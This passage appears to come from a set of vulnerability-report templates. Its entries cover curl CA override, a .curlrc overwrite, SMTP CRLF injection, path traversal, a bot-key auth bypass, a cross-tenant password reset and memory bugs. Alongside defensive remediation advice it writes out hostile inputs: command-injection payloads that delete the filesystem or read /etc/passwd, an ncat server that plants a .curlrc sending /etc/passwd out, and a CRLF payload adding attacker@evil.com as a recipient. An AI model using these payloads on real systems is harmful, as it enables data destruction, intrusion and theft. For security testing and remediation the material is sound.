3. Observe if the malicious payload is executed by the shell.
4. Example payload: sha256("file.txt; rm -rf /") or sha256("file.txt; cat /etc/passwd")
5. Attempt to inject commands by manipulating <PARAMETER> in a shell-executed function.

Impact: An attacker can execute arbitrary commands on the system, leading to data theft, system compromise, or denial of service.

Remediation: Always sanitize user-controlled input before incorporating it into shell commands. Use parameterized queries or safer alternatives to shell execution whenever possible. Validate and restrict the characters allowed in user input.

Description: This vulnerability allows an attacker to silently replace the trusted Certificate Authority (CA) bundle used by curl, enabling Man-in-the-Middle (MITM) attacks without user warning. The tool fails to inform the user that the system's trusted certificate chain is being overridden, creating a false sense of security and allowing attackers to decrypt and manipulate HTTPS traffic.

How to Test:

1. Install a MITM proxy tool like mitmproxy on a test system.
2. Export the MITM proxy's CA certificate as the CURLCABUNDLE environment variable: export CURLCABUNDLE=<PATHTOMITMPROXYCA_CERT.pem>
3. Run curl to make an HTTPS request to a target website: curl --proxy http://localhost:8080 <TARGET_URL>
4. Observe the MITM proxy to confirm that HTTPS traffic from <TARGET_URL> is visible in plain text.

Impact: Complete compromise of HTTPS confidentiality and integrity, enabling attackers to intercept and manipulate sensitive data like login credentials and API keys.

Remediation: Always warn the user if the CA certificate chain is being overridden, or enforce stricter controls to prevent unauthorized modification of the trust store.

Description: Improper validation during archive extraction can allow attackers to write files outside of the intended destination directory. This occurs when the base path is normalized using abspath, which removes trailing slashes, enabling partial path traversal. Exploitation could lead to arbitrary file writes.

How to Test:

1. Set up a target application that handles ZIP or TAR archive extraction.
2. Define a base extraction directory, for example, /var/lib/.
3. Construct a malicious archive containing a file with a path like /var/library/test.txt.
4. Attempt to extract the archive using the application's functionality.
5. Verify that the extracted file is written outside of the /var/lib/ directory.

• Example payload: Create a ZIP archive with a file named /var/library/test.txt containing arbitrary content.

Impact: Arbitrary file writes outside the intended directory, potentially leading to code execution or denial of service.

Remediation: Ensure the path traversal check includes the full, normalized path, including trailing slashes, or use a safer approach to ensure files are extracted within the intended boundaries. Consider sanitizing filenames to prevent unexpected characters.

Description: A vulnerability exists where bot authentication mechanisms can be bypassed through predictable or easily guessable identifiers. This allows an attacker to impersonate legitimate users by crafting malicious bot keys, potentially enabling unauthorized actions and data manipulation. This can lead to compromised user accounts and sensitive information exposure.

How to Test:

1. Identify an API endpoint that utilizes bot authentication.
2. Examine the authentication logic for bot keys, looking for predictable components or sequences.
3. If bot keys are constructed using identifiable components, attempt to craft a malicious bot key where the second component (token) is missing or empty. Example: <TARGETURL>/messages?botkey=1-.
4. Send a request with the crafted bot key.
5. Verify if the request is processed without proper authentication and if the user is impersonated.

Impact: Unauthorized message posting as any user within accessible rooms, potentially leading to data breaches and account compromise.

Remediation: Implement robust bot authentication with randomly generated and securely stored tokens. Ensure the bot key structure is unpredictable and resistant to guessing. Validate bot key components and deny requests with incomplete or invalid keys.

Description: This vulnerability arises when curl downloads a file using the -OJ flags, allowing a malicious server to dictate the saved filename as .curlrc. Subsequent curl commands are then influenced by the attacker-controlled contents of this configuration file, leading to unauthorized actions. It is critical to validate downloaded content and avoid downloading files into user-controlled directories.

How to Test:

1. Set up a simple HTTP server that serves a malicious .curlrc file. Example payload:

cat <<'EOF' | ncat -l 8000 --keep-open
HTTP/1.1 200 OK
Content-Length: 63
Content-Disposition: attachment; filename=".curlrc"

url = "http://127.0.0.1:8000/leak"
data = "@/etc/passwd"
EOF

1. Execute a curl command with the -OJ flags, pointing to the attacker-controlled server, from a user's home directory: curl -OJ <TARGET_URL>/pwn. This overwrites the user's ~/.curlrc file.
2. Subsequent curl commands will execute the malicious configurations defined in ~/.curlrc, potentially leading to data exfiltration. For example, a simple curl <TARGET_URL> might now silently fetch the contents of /etc/passwd and send it to http://127.0.0.1:8000/leak.

Impact: Unauthorized data exfiltration, potential for man-in-the-middle attacks by proxying requests.

Remediation: Validate file content and origin before execution, avoid downloading files into user-controlled directories, use secure configuration management practices.

Description: A flawed calculation of memory allocation size can lead to under-allocation and potential crashes or vulnerabilities. The issue occurs when the size of a pointer is used instead of the size of the data it points to, which may only be masked by the system architecture or data structure sizes. This violates coding best practices and reduces code maintainability.

How to Test:

1. Inspect the source code for memory allocation using pointer sizes instead of element sizes (e.g., malloc(sizeof(pointer) * length)).
2. Verify that the allocation size matches the size of the data being allocated using sizeof(*pointer).
3. Compile the code on both 32-bit and 64-bit systems to check for discrepancies in allocation sizes.
4. Modify the data structure pointed to by the pointer and re-run the tests.
5. Example: sizet incorrectsize = sizeof(pointer); followed by sizet correctsize = sizeof(*pointer); and compare the values. <PAYLOAD> represents the expected value when both values are the same.

Impact: Potential memory corruption, application crashes, or security vulnerabilities due to under-allocation.

Remediation: Always use sizeof(*pointer) when calculating memory allocation sizes to ensure correctness and portability across different systems and data structures.

Description: A vulnerability exists where an HTTP method string is copied into memory without null termination. This can lead to an out-of-bounds read when functions like strcmp or strlen are used on the method string, potentially causing a denial of service or misclassification of requests. This issue highlights the importance of proper memory management and null termination when handling dynamic strings.

How to Test:

1. Configure a test environment with the ability to send custom HTTP requests.
2. Construct an HTTP request with a custom method string that exceeds the allocated buffer size. For example: <PAYLOAD>CONNECTabcdefgh.
3. Send the crafted HTTP request to <TARGET_URL>.
4. Observe the application for crashes, unexpected behavior, or denial-of-service conditions.
5. Use memory sanitizers (e.g., AddressSanitizer) to identify out-of-bounds reads. Build the application with -fsanitize=address and run the test case.

Impact: Denial of service due to application crash, misclassification of HTTP requests (e.g., CONNECT being treated as a different method).

Remediation: Always ensure that strings are null-terminated after being copied into memory. Allocate sufficient memory to accommodate the largest possible string length. Use safe string handling functions to prevent buffer overflows.

Description: This vulnerability allows an attacker to initiate a password reset for any user account, regardless of the tenant they belong to. Successful exploitation can lead to unauthorized access and account takeover, compromising sensitive user data and system functionality. The lack of proper tenant isolation makes this a severe risk.

How to Test:

1. Send a password reset request for a user by sending a POST request to the password reset endpoint with the target email address. Use a forged email address that belongs to a different tenant. For example: POST /password/reset?email=<TARGET_EMAIL>
2. Intercept the password reset token sent to the forged email address.
3. Use the intercepted token to reset the password of the original target user.
4. Attempt to log in to the application using the newly reset password and the target user's credentials.

Impact: Unauthorized account access, data breaches, potential compromise of the entire tenant.

Remediation: Implement strict tenant isolation when handling password reset requests. Validate the tenant association of the user before initiating a password reset. Ensure that password reset tokens are unique and not predictable.

Description: This vulnerability allows an attacker to inject arbitrary SMTP commands by crafting mailbox addresses containing carriage return and line feed characters. These injected commands can be used to add unauthorized recipients to outgoing emails, potentially exposing sensitive information.

How to Test:

1. Set up a test environment with a local SMTP server to capture incoming commands.
2. Use a tool like curl to send an email with a crafted mailbox address containing CRLF sequences. For example: sender@company.com\r\nRCPT TO:<attacker@evil.com>.
3. Observe the SMTP server logs to confirm the injected command is being sent.
4. Examine the email delivery to confirm it is being sent to both the intended recipient and the attacker’s address.
5. Utilize a script similar to the provided PoC, which injects CRLF into the MAIL FROM and RCPT TO fields: ./pocsmtpcrlf_injection.sh /path/to/curl/src/curl

Impact: Attackers can inject unauthorized recipients into outgoing emails, potentially exposing sensitive information like password reset links, verification codes, or confidential reports. This can lead to unauthorized access and data breaches.

Remediation: Sanitize user-supplied mailbox address inputs to remove or escape carriage return (\r) and line feed (\n) characters before using them in SMTP commands. Implement robust input validation to prevent protocol command injection.

Description: The vulnerability lies in an unsafe string copy operation that can lead to denial of service and potentially remote code execution. It occurs when a server-controlled string is copied into a fixed-size buffer without proper bounds checking, allowing an attacker to overwrite adjacent memory. This can cause a crash or potentially allow execution of malicious code.

How to Test:

1. Configure a network service to send a string of controlled length.
2. Run a client application that receives and processes this string using an unsafe string copy function.
3. Send a payload string longer than the destination buffer's size. Example payload: <PAYLOAD> (e.g., "A" * 2000).
4. Monitor for crashes, unexpected behavior, or memory corruption errors.
5. Use memory debugging tools like ASAN to verify the out-of-bounds write.

Impact: Denial of service through application crash or potential for remote code execution by overwriting critical memory regions.

Remediation: Replace unsafe string copy functions (like strcpy) with safer alternatives that include bounds checking (like strncpy) or use internal library functions designed for memory-safe string operations. Always validate input string lengths before copying.